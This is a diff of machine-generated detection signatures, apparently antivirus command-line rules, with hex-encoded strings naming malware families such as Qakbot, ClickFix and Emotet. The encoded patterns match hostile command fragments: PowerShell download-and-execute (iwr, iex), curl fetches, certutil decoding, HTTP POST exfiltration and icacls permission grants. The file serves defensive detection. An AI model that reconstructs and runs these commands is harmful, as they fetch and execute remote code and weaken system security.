6e 3a 57 69 6e 33 32 2f 51 61 6b 62 6f 74 2e 42 42 00 64 00 10 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 64 00 14 00 48 00 69 00 64 00 65 00 57 00 69 00 6e 00 64 00 6f 00 77 00 01 00 0a 00 2c 00 68 00 76 00 } //25459 + $a_00_1 = {6c 00 20 00 90 02 30 2e 00 64 00 6c 00 6c 00 90 00 00 00 d7 6f 00 00 05 00 05 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 69 67 50 6c 75 6d 2e 41 21 64 68 61 00 04 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 0c 00 77 00 68 00 6f 00 61 00 6d 00 69 00 01 00 0e 00 6e 00 } //100 + $a_00_2 = {73 00 74 00 61 00 74 00 01 00 08 00 63 00 75 00 72 00 6c 00 00 00 d7 6f 00 00 0a 00 0a 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4a 53 2f 53 4c 6f 61 64 2e 53 41 00 0a 00 23 02 77 00 73 00 63 00 72 00 69 00 70 00 74 00 90 02 90 2e 00 6a 00 73 00 90 23 01 05 09 20 22 27 5c 00 90 00 0a 00 19 02 77 73 63 72 69 70 } //101 condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*100+(#a_69_2 & 1)*25459) >=2 + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*100+(#a_00_2 & 1)*101) >=2 } -rule _InfrastructureShared_26211{ +rule _InfrastructureShared_27665{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 69 67 50 6c 75 6d 2e 41 21 64 68 61 00 04 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 0c 00 77 00 68 00 6f 00 61 00 6d 00 69 00 01 00 0e 00 6e 00 65 00 74 } //21283 + $a_00_2 = {01 00 08 00 63 00 75 00 72 00 6c 00 00 00 d7 6f 00 00 0a 00 0a 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4a 53 2f 53 4c 6f 61 64 2e 53 41 00 0a 00 23 02 77 00 73 00 63 00 72 00 69 00 70 00 74 00 90 02 90 2e 00 6a 00 73 00 90 23 01 05 09 20 22 27 5c 00 90 00 0a 00 19 02 77 73 63 72 69 70 74 90 02 90 2e 6a 73 90 } //97 + $a_09_3 = {20 22 27 5c 00 } //291 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*97+(#a_09_3 & 1)*291) >=5 + +} +rule _InfrastructureShared_27666{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -343025,19 +361963,89 @@ rule _InfrastructureShared_26211{ ((#a_46_0 & 1)*21283+(#a_90_1 & 1)*28777) >=10 } -rule _InfrastructureShared_26212{ +rule _InfrastructureShared_27667{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffc9 00 ffffffc9 00 04 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 51 61 6b 62 6f 74 2e 42 42 00 64 00 10 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 64 00 14 00 48 00 69 00 64 00 65 00 57 00 69 00 6e 00 64 00 6f 00 77 00 01 00 0a 00 2c 00 68 00 76 } //21283 $a_00_2 = {2c 00 20 00 68 00 76 00 73 00 69 00 } //1 , hvsi - $a_71_3 = {00 01 00 01 00 01 00 21 23 54 45 4c 3a 57 69 6e 33 32 2f 49 63 61 63 6c 73 44 72 69 76 65 00 01 00 4d 02 69 00 63 00 61 00 63 00 6c 00 73 00 90 02 10 3a 00 5c 00 2a 00 20 00 2f 00 67 00 72 00 61 00 6e 00 74 00 20 00 45 00 76 00 65 00 72 00 79 00 6f 00 6e 00 65 00 3a 00 46 00 20 00 2f 00 54 00 20 00 2f 00 43 00 20 00 2f 00 51 00 90 00 00 00 d7 71 00 00 28 00 28 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 49 00 0a 00 10 00 63 00 6d 00 64 00 90 00 02 00 10 00 2f 00 63 00 0a 00 08 00 2f 00 6d 00 69 00 6e 00 0a 00 0c 00 73 00 74 00 61 00 72 00 74 00 20 00 0a 00 16 00 70 00 6f 00 77 00 65 00 } //0 + $a_70_3 = {00 03 00 03 00 03 00 21 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 42 53 41 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 06 00 69 00 72 00 6d 00 01 00 20 02 2e 00 63 00 6f 00 6d 00 2f 00 90 02 10 2e 00 6a 00 70 00 67 00 90 02 10 69 00 65 00 78 00 90 00 00 00 d7 70 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 61 6d 70 45 6e 75 6d 2e 42 21 4d 54 42 00 01 00 10 00 74 00 61 00 73 00 6b 00 6c 00 69 00 73 00 74 00 01 00 18 00 69 00 6d 00 61 00 67 00 65 00 6e 00 61 00 6d 00 65 00 20 00 65 00 71 00 01 00 08 00 66 00 69 00 6e 00 } //0 condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*1+(#a_71_3 & 1)*0) >=201 + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*1+(#a_70_3 & 1)*0) >=201 } -rule _InfrastructureShared_26213{ +rule _InfrastructureShared_27668{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_3a_0 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 42 53 41 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 06 00 69 00 72 00 6d 00 01 00 20 02 2e 00 63 00 } //19539 + $a_00_1 = {2f 00 90 02 10 2e 00 6a 00 70 00 67 00 90 02 10 69 00 65 00 78 00 90 00 00 00 d7 70 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 61 6d 70 45 6e 75 6d 2e 42 21 4d 54 42 00 01 00 10 00 74 00 61 00 73 00 6b 00 6c 00 69 00 73 00 74 00 01 00 18 00 69 00 6d 00 61 00 67 00 65 00 6e 00 61 00 6d } //111 + condition: + ((#a_3a_0 & 1)*19539+(#a_00_1 & 1)*111) >=3 + +} +rule _InfrastructureShared_27669{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 61 6d 70 45 6e 75 6d 2e 42 21 4d 54 42 00 01 00 10 00 74 00 61 00 73 00 6b 00 6c 00 69 00 73 00 74 00 01 00 18 00 69 00 6d 00 61 00 67 00 65 00 6e 00 61 00 6d 00 65 00 20 00 65 00 71 00 } //21283 + $a_00_1 = {66 00 69 00 6e 00 64 00 } //1 find + $a_00_2 = {50 00 49 00 44 00 } //1 PID + $a_70_3 = {00 04 00 04 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 43 43 51 21 4d 54 42 00 01 00 1a 00 7c 00 20 00 63 00 6d 00 64 00 20 00 26 00 26 00 20 00 65 00 78 00 69 00 74 00 01 00 08 00 63 00 75 00 72 00 6c 00 01 00 08 00 68 00 74 00 74 00 70 00 01 00 0a 00 73 00 74 00 61 00 72 00 74 00 00 00 d7 70 00 00 64 00 64 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 54 21 4d 54 42 00 64 00 40 02 63 00 6d 00 64 00 20 00 2f 00 63 00 20 00 65 00 63 00 68 00 6f 00 90 02 3c 3e 00 20 00 22 00 25 00 74 00 65 00 6d 00 70 00 25 00 90 02 0f 2e 00 74 00 78 00 } //0 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_70_3 & 1)*0) >=4 + +} +rule _InfrastructureShared_27670{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 43 43 51 21 4d 54 42 00 01 00 1a 00 7c 00 20 00 63 00 6d 00 64 00 20 00 26 00 26 00 20 00 65 00 78 00 69 00 74 00 01 00 08 00 63 00 75 00 72 } //21539 + $a_00_3 = {70 00 01 00 0a 00 73 00 74 00 61 00 72 00 74 00 00 00 d7 70 00 00 64 00 64 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 54 21 4d 54 42 00 64 00 40 02 63 00 6d 00 64 00 20 00 2f 00 63 00 20 00 65 00 63 00 68 00 6f 00 90 02 3c 3e 00 20 00 22 00 25 00 74 00 65 00 6d 00 70 00 25 00 90 02 0f 2e 00 } //116 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_3 & 1)*116) >=4 + +} +rule _InfrastructureShared_27671{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,64 00 64 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 54 21 4d 54 42 00 64 00 40 02 63 00 6d 00 64 00 20 00 2f 00 63 00 20 00 65 00 63 00 68 00 6f 00 90 02 3c 3e 00 20 00 22 00 25 00 74 00 65 00 6d 00 70 00 25 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=100 + +} +rule _InfrastructureShared_27672{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,70 00 70 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 45 41 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 14 00 2d 00 55 00 73 00 65 00 42 00 7c 00 25 00 7b 00 24 00 } //21283 + $a_00_1 = {06 } //95 + $a_00_3 = {06 } //114 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*95+(#a_00_3 & 1)*114) >=112 + +} +rule _InfrastructureShared_27673{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff82 00 ffffff82 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 47 41 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 0c 00 3d 00 69 00 77 00 72 00 20 00 24 00 0a 00 0e 00 3b 00 } //21283 + $a_00_1 = {65 00 78 00 20 00 24 00 0a 00 06 00 20 00 23 00 20 00 00 00 d7 71 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 57 69 6e 33 32 2f 49 63 61 63 6c 73 44 72 69 76 65 00 01 00 4d 02 69 00 63 00 61 00 63 00 6c 00 73 00 90 02 10 3a 00 5c 00 2a 00 20 00 2f 00 67 00 72 00 61 00 6e 00 74 00 20 00 45 00 76 00 65 00 72 00 79 00 } //32 + $a_00_2 = {65 00 3a 00 46 00 20 00 2f 00 54 00 20 00 2f 00 43 00 20 00 2f 00 51 00 90 00 00 00 d7 72 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 73 68 74 61 67 70 72 65 67 2e 41 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 22 00 67 00 70 00 20 00 48 00 4b 00 43 00 } //111 + $a_00_3 = {5c 00 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 01 00 08 00 7c 00 49 00 45 00 58 00 00 00 d7 72 00 00 0a 00 0a 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e } //85 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*32+(#a_00_2 & 1)*111+(#a_00_3 & 1)*85) >=130 + +} +rule _InfrastructureShared_27674{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -343047,18 +362055,7 @@ rule _InfrastructureShared_26213{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26214{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,28 00 28 00 04 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 49 00 0a 00 10 00 63 00 6d 00 64 00 90 00 02 00 10 00 2f 00 63 00 0a 00 08 00 2f 00 6d 00 69 00 6e 00 0a 00 0c 00 73 00 74 00 61 00 72 00 74 00 20 00 0a 00 16 } //21283 - $a_00_2 = {72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 00 00 d7 72 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 73 68 74 61 67 70 72 65 67 2e 41 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 22 00 67 00 70 00 20 00 48 00 4b 00 43 00 55 00 3a } //119 - condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*119) >=40 - -} -rule _InfrastructureShared_26215{ +rule _InfrastructureShared_27675{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " @@ -343069,19 +362066,55 @@ rule _InfrastructureShared_26215{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*111) >=3 } -rule _InfrastructureShared_26216{ +rule _InfrastructureShared_27676{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 03 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 6f 6c 6f 72 69 67 61 74 65 2e 43 21 64 68 61 00 05 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 05 00 0e 00 20 00 69 00 63 00 6d 00 20 00 7b 00 24 00 f6 ff 18 00 } //21283 - $a_00_1 = {63 00 6d 00 20 00 7b 00 24 00 65 00 76 00 65 00 6e 00 74 00 00 00 d7 72 00 00 78 00 78 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 75 73 74 79 4d 65 74 61 6c 2e 42 21 64 68 61 00 64 00 15 02 5c 00 53 00 59 00 42 00 90 02 03 2e 00 65 00 78 00 65 00 90 00 0a 00 13 02 68 00 74 00 74 00 70 00 } //32 - $a_3a_2 = {2f } //656 / + $a_00_1 = {63 00 6d 00 20 00 7b 00 24 00 65 00 76 00 65 00 6e 00 74 00 00 00 d7 72 00 00 14 00 14 00 02 00 21 23 53 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 54 65 62 61 63 69 6c 2e 42 00 0a 00 2e 00 2d 00 78 00 72 00 73 00 64 00 6b 00 2d 00 70 00 72 00 65 00 2d 00 69 00 6e 00 69 00 74 00 2d 00 6c 00 69 00 62 00 72 } //32 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*32+(#a_3a_2 & 1)*656) >=10 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*32) >=10 } -rule _InfrastructureShared_26217{ +rule _InfrastructureShared_27677{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,14 00 14 00 02 00 21 " + + strings : + $a_46_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 54 65 62 61 63 69 6c 2e 42 00 0a 00 2e 00 2d 00 78 00 72 00 73 00 64 00 6b 00 2d 00 70 00 72 00 65 00 2d 00 69 00 6e 00 69 00 74 00 2d 00 6c 00 69 00 62 00 72 00 61 00 72 00 79 00 0a 00 } //21283 + $a_00_1 = {64 00 61 00 74 00 61 00 66 00 6f 00 6c 00 64 00 65 00 72 00 00 00 d7 72 00 00 35 00 35 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a } //22 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*22) >=20 + +} +rule _InfrastructureShared_27678{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,35 00 35 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 41 51 21 4d 54 42 00 32 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 12 00 29 00 2e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 } //21283 + $a_00_1 = {69 00 65 00 78 00 } //1 iex + $a_00_2 = {69 00 77 00 72 00 20 00 24 00 } //1 iwr $ + $a_72_3 = {00 70 00 70 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 47 45 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 12 00 3f 00 74 00 65 00 6d 00 70 00 5f 00 69 00 64 00 3d 00 01 00 08 00 50 00 4f 00 53 00 54 00 01 00 08 00 68 00 74 00 74 00 70 00 00 00 d7 72 00 00 78 00 78 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 75 73 74 79 4d 65 74 61 6c 2e 42 21 64 68 61 00 64 00 15 02 5c 00 53 00 59 00 42 00 90 02 03 2e 00 65 00 78 00 65 00 90 00 0a 00 13 02 68 00 74 00 74 00 70 00 90 02 01 3a 00 2f 00 2f 00 90 00 0a 00 12 00 3a 00 } //0 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_72_3 & 1)*0) >=53 + +} +rule _InfrastructureShared_27679{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,70 00 70 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 47 45 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 12 00 3f 00 74 00 65 00 6d 00 70 00 5f 00 69 00 64 00 3d 00 } //21283 + $a_00_1 = {50 00 4f 00 53 00 54 00 } //1 POST + $a_00_2 = {68 00 74 00 74 00 70 00 } //1 http + $a_72_3 = {00 78 00 78 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 75 73 74 79 4d 65 74 61 6c 2e 42 21 64 68 61 00 64 00 15 02 5c 00 53 00 59 00 42 00 90 02 03 2e 00 65 00 78 00 65 00 90 00 0a 00 13 02 68 00 74 00 74 00 70 00 90 02 01 3a 00 2f 00 2f 00 90 00 0a 00 12 00 3a 00 38 00 30 00 30 00 31 00 2f 00 61 00 70 00 70 00 00 00 d7 73 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 43 6d 64 4e 61 6d 65 4d 61 74 63 68 54 65 73 74 2e 42 00 01 00 48 00 32 00 61 00 66 00 63 00 62 00 39 00 30 00 35 00 2d 00 30 00 64 00 63 00 33 00 2d 00 34 00 31 00 66 00 65 00 2d 00 62 00 66 00 66 00 65 00 2d 00 66 00 34 00 34 00 39 } //0 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_72_3 & 1)*0) >=112 + +} +rule _InfrastructureShared_27680{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,78 00 78 00 03 00 21 " @@ -343093,7 +362126,7 @@ rule _InfrastructureShared_26217{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*144+(#a_00_2 & 1)*49) >=120 } -rule _InfrastructureShared_26218{ +rule _InfrastructureShared_27681{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -343103,7 +362136,7 @@ rule _InfrastructureShared_26218{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_26219{ +rule _InfrastructureShared_27682{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -343113,7 +362146,7 @@ rule _InfrastructureShared_26219{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_26220{ +rule _InfrastructureShared_27683{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -343123,7 +362156,19 @@ rule _InfrastructureShared_26220{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_26221{ +rule _InfrastructureShared_27684{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 46 46 56 21 4d 54 42 00 01 00 12 00 69 00 72 00 6d 00 20 00 7e 00 68 00 74 00 74 00 70 00 01 00 1d 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //21283 + $a_5e_1 = {24 00 90 00 01 00 0c 00 68 00 69 00 64 00 64 00 65 00 6e 00 00 00 d7 73 00 00 0a 00 0a 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 6f 67 6f 64 72 6f 70 70 65 72 2e 42 00 0a 00 46 02 63 00 6d 00 64 00 90 02 30 70 00 } //656 + $a_00_2 = {65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 02 10 77 00 67 00 65 00 74 00 90 02 10 68 00 74 00 74 00 70 00 90 02 40 6f 00 75 00 74 00 66 00 69 00 6c 00 65 00 90 00 00 00 d7 74 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 54 5a 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 } //111 + condition: + ((#a_46_0 & 1)*21283+(#a_5e_1 & 1)*656+(#a_00_2 & 1)*111) >=3 + +} +rule _InfrastructureShared_27685{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -343133,7 +362178,20 @@ rule _InfrastructureShared_26221{ ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_26222{ +rule _InfrastructureShared_27686{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 54 5a 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 1a 00 63 00 75 00 72 00 6c 00 20 00 68 00 74 00 74 00 70 00 73 00 3a 00 } //21283 + $a_00_1 = {01 00 06 00 69 00 65 00 78 00 01 00 08 00 2e 00 74 00 78 00 74 00 00 00 d7 74 00 00 1e 00 1e 00 03 00 21 23 54 45 4c 50 45 52 3a 54 72 6f 6a } //47 + $a_57_2 = {6e 33 32 2f 5a 69 70 72 6f 75 74 65 72 2e 41 00 0a 00 10 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 0a 00 16 00 7a 00 69 00 70 00 66 00 6c 00 64 00 72 00 2e 00 64 00 } //28257 + $a_00_3 = {0a 00 18 00 72 00 6f 00 75 00 74 00 65 00 74 00 68 00 65 00 63 00 61 00 6c 00 6c 00 00 00 d7 74 00 00 6e 00 6e 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 55 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 2c 00 2e 00 72 00 } //108 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*47+(#a_57_2 & 1)*28257+(#a_00_3 & 1)*108) >=4 + +} +rule _InfrastructureShared_27687{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,1e 00 1e 00 03 00 21 " @@ -343144,7 +362202,18 @@ rule _InfrastructureShared_26222{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*10) >=30 } -rule _InfrastructureShared_26223{ +rule _InfrastructureShared_27688{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6e 00 6e 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 55 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 2c 00 2e 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 28 00 } //21283 + $a_00_1 = {6f 00 74 00 65 00 70 00 61 00 64 00 2e 00 65 00 78 00 65 00 27 00 00 00 d7 75 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 70 54 61 6d 70 69 2e 43 21 72 66 6e 00 01 00 48 02 6e 00 65 00 74 00 90 } //39 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*39) >=110 + +} +rule _InfrastructureShared_27689{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -343154,7 +362223,7 @@ rule _InfrastructureShared_26223{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26224{ +rule _InfrastructureShared_27690{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " @@ -343165,19 +362234,58 @@ rule _InfrastructureShared_26224{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*116) >=4 } -rule _InfrastructureShared_26225{ +rule _InfrastructureShared_27691{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_4c_0 = {57 69 6e 33 32 2f 45 6d 6f 74 65 74 2e 4a 21 69 62 74 00 01 00 06 00 2f 00 63 00 20 00 01 00 14 00 6c 00 6c 00 65 00 68 00 73 00 72 00 65 00 77 00 6f 00 70 00 01 00 08 00 70 00 74 00 74 00 68 00 01 00 0c 00 } //21539 - $a_00_1 = {6f 00 76 00 6e 00 69 00 01 00 12 00 74 00 6e 00 65 00 69 00 6c 00 63 00 62 00 65 00 77 00 00 00 d7 76 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 43 65 72 74 44 65 63 6f 64 65 48 74 61 00 01 00 28 00 63 00 65 00 72 00 74 00 75 00 74 00 69 00 6c 00 2e 00 65 00 78 00 65 00 20 00 2d 00 64 00 65 00 63 00 6f 00 64 00 65 00 01 } //101 - $a_00_3 = {61 00 01 00 10 00 2e 00 70 00 64 00 66 00 2e 00 6c 00 6e 00 6b 00 01 00 0a 00 73 00 74 00 61 00 72 00 74 00 00 00 d7 76 00 00 0a 00 0a 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 48 69 6a 61 63 6b 53 51 4c 53 65 72 76 65 72 2e 43 00 0a 00 45 02 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 90 02 05 2f 00 63 00 90 02 ff 6e 00 65 } //104 + $a_00_1 = {6f 00 76 00 6e 00 69 00 01 00 12 00 74 00 6e 00 65 00 69 00 6c 00 63 00 62 00 65 00 77 00 00 00 d7 75 00 00 05 00 05 00 06 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 77 6f 72 64 6f 6c 2e 41 00 01 00 08 00 63 00 75 00 72 00 6c 00 01 00 06 00 3a 00 2f 00 2f 00 01 00 08 00 20 00 2d 00 6f 00 20 00 01 00 } //101 + $a_00_2 = {6d 00 73 00 63 00 01 00 06 00 74 00 78 00 74 00 01 00 14 02 25 00 25 00 90 02 08 25 00 25 00 90 02 08 25 00 